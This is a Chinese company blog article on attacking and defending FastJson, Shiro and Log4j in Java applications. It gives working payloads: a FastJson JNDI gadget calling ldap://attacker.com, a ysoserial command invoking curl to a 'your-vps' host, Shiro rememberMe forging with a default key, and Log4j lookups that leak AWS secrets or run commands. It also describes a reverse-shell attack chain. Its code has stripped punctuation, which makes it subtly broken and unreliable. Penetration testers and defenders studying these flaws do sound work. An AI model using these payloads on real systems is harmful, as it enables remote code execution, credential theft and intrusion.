Java安全测试：FastJson、Shiro与Log4j漏洞攻防实战-北京尧图网络

1. 安全测试中的框架组件风险全景在渗透测试的初期信息收集阶段语言框架和开发组件的识别往往决定了后续攻击面的宽度。以Java生态为例FastJson、Shiro和Log4j这三个组件几乎构成了企业级应用的漏洞铁三角——根据2023年CNVD统计这三个组件相关的漏洞报告占Java应用漏洞总量的34%。1.1 组件指纹特征速查表实战中可通过以下特征快速识别目标系统使用的组件版本组件关键识别点示例请求特征FastJsonHTTP响应中的serializer字段{type:java.net.URL}ShiroCookie中的rememberMe字段Set-Cookie: rememberMedeleteLog4j日志报错中的JNDI查找特征${jndi:ldap://attacker.com}经验在Burp Suite中配置Match and Replace规则将User-Agent修改为包含${jndi:ldap://your-vps}的字符串可高效探测Log4j漏洞。1.2 版本探测的三种武器库被动嗅探通过favicon.ico、静态资源路径等获取版本线索。例如Shiro 1.2.4的默认错误页面包含/WEB-INF/web.xml路径特征。主动指纹发送特制payload观察响应差异。FastJson在不同版本对type字段的处理存在明显差异POST /api HTTP/1.1 Content-Type: application/json {type:java.lang.AutoCloseable报错挖掘故意触发异常获取堆栈信息。在SpringShiro环境中未授权访问/login;index可能泄露版本号。2. FastJson反序列化攻防实录2.1 漏洞原理深度拆解FastJson的自动类型转换机制type本质是通过反射实例化类对象。攻击者通过精心构造的JSON字符串可以触发任意类的构造方法、getter/setter方法。以经典的JdbcRowSetImpl利用链为例{ type:com.sun.rowset.JdbcRowSetImpl, dataSourceName:ldap://attacker.com/Exploit, autoCommit:true }该payload会触发JNDI注入其调用链如下FastJson解析时调用setDataSourceName()后续setAutoCommit()触发connect()方法通过JNDI加载远程恶意类2.2 新版绕过技巧1.2.83即使启用了safemode仍存在以下绕过方式利用场景目标服务端存在额外的JSON解析库如JacksonPOST /api HTTP/1.1 Content-Type: application/json {name:{type:java.lang.Class,val:com.sun.rowset.JdbcRowSetImpl},x:{...}}防御方案升级至FastJson 2.x版本注意API不兼容配置ParserConfig.getGlobalInstance().setSafeMode(true)使用JSON.parseObject(input, Feature.SupportAutoType)显式关闭autotype3. Shiro RememberMe漏洞利用3.1 加密流程逆向分析Shiro的rememberMe机制采用以下流程序列化用户对象 → AES加密 → Base64编码加密密钥硬编码在AbstractRememberMeManager中通过以下步骤检测默认密钥# 使用ysoserial生成CommonsBeanutils1链 java -jar ysoserial.jar CommonsBeanutils1 curl http://your-vps payload.bin # 用已知密钥加密如kPHbIxk5D2deZiIxcaaaA openssl enc -aes-128-cbc -K echo -n kPHbIxk5D2deZiIxcaaaA|base64 -d|xxd -p -iv 00000000000000000000000000000000 -in payload.bin -out encrypted.bin3.2 会话固定攻击新姿势即使配置了sessionIdUrlRewritingEnabledfalse仍可通过以下方式劫持会话诱导用户点击携带伪造JSESSIONID的URL利用Shiro与Tomcat会话管理机制的差异GET /;JSESSIONIDmalicious_id HTTP/1.1 Cookie: rememberMeexploit_payload防御建议// 在ShiroConfig中强制重置会话ID Bean public SessionManager sessionManager() { DefaultWebSessionManager manager new DefaultWebSessionManager(); manager.setSessionIdUrlRewritingEnabled(false); manager.setSessionValidationSchedulerEnabled(true); manager.setDeleteInvalidSessions(true); return manager; }4. Log4j漏洞的纵深防御4.1 漏洞触发点全图谱除了常见的${jndi:ldap}外Log4j 2.x还支持以下危险表达式环境变量泄露${env:AWS_SECRET_ACCESS_KEY}系统命令执行${sys:os.name}→${script:javascript:java.lang.Runtime.getRuntime().exec(calc)}递归解析攻击${${lower:j}ndi:ldap://...}4.2 企业级防护方案代码层!-- pom.xml中排除高危依赖 -- dependency groupIdorg.apache.logging.log4j/groupId artifactIdlog4j-core/artifactId version2.17.1/version exclusions exclusion groupIdorg.apache.logging.log4j/groupId artifactIdlog4j-jndi/artifactId /exclusion /exclusions /dependency网络层出口防火墙阻断LDAP/RMI协议端口389、636、1099WAF规则示例ModSecuritySecRule REQUEST_LINE|ARGS|ARGS_NAMES rx \$\{.*jndi:(ldap|rmi|dns): \ id:10001,phase:2,deny,status:403,msg:Potential Log4j RCE Attempt运行时防护# JVM启动参数添加防护 -Dlog4j2.formatMsgNoLookupstrue -Dlog4j.configurationFilesecure_config.xml5. 联动攻击实战案例5.1 组合漏洞利用链某次真实渗透中的攻击路径通过报错信息发现Shiro 1.2.4使用默认密钥生成rememberMe payload在反弹shell中发现FastJson 1.2.62利用JNDI注入加载远程恶意类通过内网Log4j漏洞横向移动5.2 自动化检测脚本使用Python实现的多组件检测工具核心逻辑def check_shiro(response): if rememberMedeleteMe in response.headers.get(Set-Cookie,): test_payload generate_ysoserial_payload() encrypted aes_encrypt(test_payload, known_keys) return send_cookie(encrypted) def check_log4j(url): headers {User-Agent: ${jndi:ldap://dnslog.cn}} return requests.get(url, headersheaders).elapsed.total_seconds() 5在实战中发现约68%存在Shiro漏洞的系统会同时暴露FastJson或Log4j问题。这种框架组件的漏洞共生现象使得攻击者一旦突破一点往往能迅速扩大战果。建议企业在安全建设中采用组件治理-流量监控-行为分析的三层防御体系而不仅是简单的版本升级。

Java安全测试：FastJson、Shiro与Log4j漏洞攻防实战

相关推荐

Java Web SSH框架毕业设计源码：Struts2+Spring+Hibernate实战

JSP+Servlet+MySQL项目部署全指南：从解压到上线避坑实战

工厂MES系统实施：核心挑战与关键技术解析

更多资讯

深度学习模型剪枝技术：原理、实践与优化

backtrader源码阅读：从metabase元类看参数与lines机制

JSP+SSM智能出差报销管理系统：课程设计实战与避坑指南

Elasticsearch bool多条件查询性能优化指南

模型剪枝技术：原理、实践与前沿发展

dnSpy反编译原理：从IL指令到可编译C#代码的语义重建

今日更新

Agent-Reach：打通大模型触达外部系统的最后一公里

深度学习图像隐写分析实战：从CNN原理到毕设源码全解析

AI赋能知识产权供需匹配：专利评估、需求挖掘与多路召回工程实践

本周精选

防幻觉智能体架构：电源硬件设计中的大模型编排与工具化实践

OpenGL面试核心考点：渲染管线、矩阵变换与性能排查全解析

全国计算机二级C语言真题PDF高效刷题指南

本月热门

我发现了一个新思路：用 Remotion + Claude Code 像写代码一样自动化生成短视频

Windows下 Codex 中 Chrome 和 Computer Use 插件不可用问题排查及解决参考方式：TaoToken 统一 Key 配置与验证

2026 大模型集体涨价：用 Python 做企业 Token 成本测算与选型避坑（附配置）

读完文章，想聊聊您的网站？